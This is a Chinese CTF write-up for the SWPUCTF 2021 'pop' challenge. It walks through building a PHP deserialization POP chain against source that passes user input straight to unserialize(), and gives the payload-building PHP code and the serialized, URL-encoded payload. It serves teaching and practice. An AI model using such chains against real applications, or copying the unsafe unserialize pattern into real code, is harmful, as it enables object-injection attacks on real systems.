[SWPUCTF 2021 新生赛]pop-----WP

[SWPUCTF 2021 新生赛]pop


源码展示

 <?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?> 

一、构造pop链

观察源码发现有多个类,即有多个class定义,w44m,w22m,w33m这三个都是类,由此可以判断出来,该题应该是反序列化中的构造pop链的题目。

POP链:POP(面向属性编程)链是指从现有运行环境中寻找一系列的代码或指令调用,然后根据需求构造出一组连续的调用链。

反序列化利用就是要找到合适的POP链。其实就是构造一条符合原代码需求的链条,去找到可以控制的属性或方法,从而构造POP链达到攻击的目的。

构造pop链方法:从链尾反推到链头即可构造!!!

1、构造pop链第一步,寻找链头

链头特征:能够被输入内容的并且能被用户所控制的

$w00m = $_GET['w00m'];
unserialize($w00m);

w00m是能被输入内容的,并且能被我们控制,即我们可以输入任意的内容而不被限制,所以w00m就是链头    

2、构造pop链第二步,寻找链尾

链尾特征:可以读取文件或者能够执行命令的

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

include('flag.php')
echo $flag
能够读取文件,输出flag,这就是链尾

3、构造pop链第三步,反推——标注

此时我们找到了链尾,正式开始构造pop链,从链尾反推到链头,由于我们需要实现echo $flag,所以我们需要满足if的条件,所以给admin和passwd分别赋为if中的条件,标注好

1代表第一步,shell代表我们将传入一个类似shell的东西

在这里插入图片描述
在这里插入图片描述

标注好后,要执行if,就需要执行Getflag()方法

这就需要我们在源码中找到能调用Getflag()的方法,方法的组成是方法名加(),在源码中就找这样的形式。

由此找到这,试想,若$this->w00m的值被赋为new w44m(),$this->w22m()被赋为Getflag,就可以调用该方法。

同时进行标注

在这里插入图片描述

在这里插入图片描述

需要执行上述过程,就需要触发__toString()魔术方法

__toString()             //把对象当作字符串使用时触发

寻找源码中,能把对象当作字符串的地方

若能将$this->w00m赋值为new w33m,便能触发__toString魔术方法。

同时进行标注

__destruct()             //对象被销毁时触发

在这里插入图片描述

在这里插入图片描述

我们传入内容后,程序执行完就会触发__destruct()

这样我们就从链尾反推到了链头,POP链便串好了

二、构造payload

1、首先复制源码到编辑器中

将不需要的部分注释掉(和赋值无关的都注释掉)

在这里插入图片描述

2、添加pop链和序列化代码

根据前面我们的分析,从pop链的链尾开始赋值

私有和保护属性,采用内部赋值

在这里插入图片描述

对象赋值采用外部赋值

在这里插入图片描述

若不进行url编码,私有和保护属性的部分,存在不可见字符,需要替换为\00,直接url编码则不需要

$a=new w44m();

$b=new w33m();
$b->w00m=$a;
$b->w22m=Getflag;

$t=new w22m();
$t->w00m=$b;
echo serialize($t);
echo "\n";
echo urlencode(serialize($t));

在这里插入图片描述

示例

O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"\00w44m\00admin";s:4:"w44m";s:9:"\00*\00passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}
O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

验证payload,得到flag

在这里插入图片描述
如果觉得不错的话,给我点点赞吧

  • 5
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值